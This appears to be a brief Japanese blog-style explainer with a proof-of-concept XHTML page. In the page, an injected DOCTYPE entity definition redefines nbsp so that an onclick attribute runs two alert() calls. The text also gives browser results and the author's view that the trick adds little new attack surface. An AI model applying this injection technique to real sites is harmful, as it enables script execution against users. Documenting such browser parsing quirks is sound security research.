XHTMLでの文字実体参照定義の上書きによるXSS
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" [<!ENTITY nbsp "'">] > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja" lang="ja"> <head> <title>XHTML Entity Hijacking Example</title> </head> <body> <p onclick="alert('1 )+alert( 2')">&nbsp; = </p> </body> </html>
解説
DOCTYPEの所に攻撃者が
[<!ENTITY nbsp "'">]
を注入しているのが最大のポイントです。これにより、XHTMLの正規のDTDでの の定義が上書きされて ' に書き換わっているので、
<p onclick="alert('1 )+alert( 2')">&nbsp; = </p>
の部分は実際には
<p onclick="alert('1')+alert('2')">&nbsp; = '</p>
と等価なものとしてパースされてしまいます。
実際にDOCTYPEの所に任意の文字列が注入できるならscript要素を直接注入できるはずなので、これが新たな攻撃の糸口になる可能性は無いと思います。
Firefox, Google Chrome, Opera では実際に alert が2つ走ります。
なお、& や < , > , " などのXMLの規格で定義されている実体参照の定義は上書きできないようです。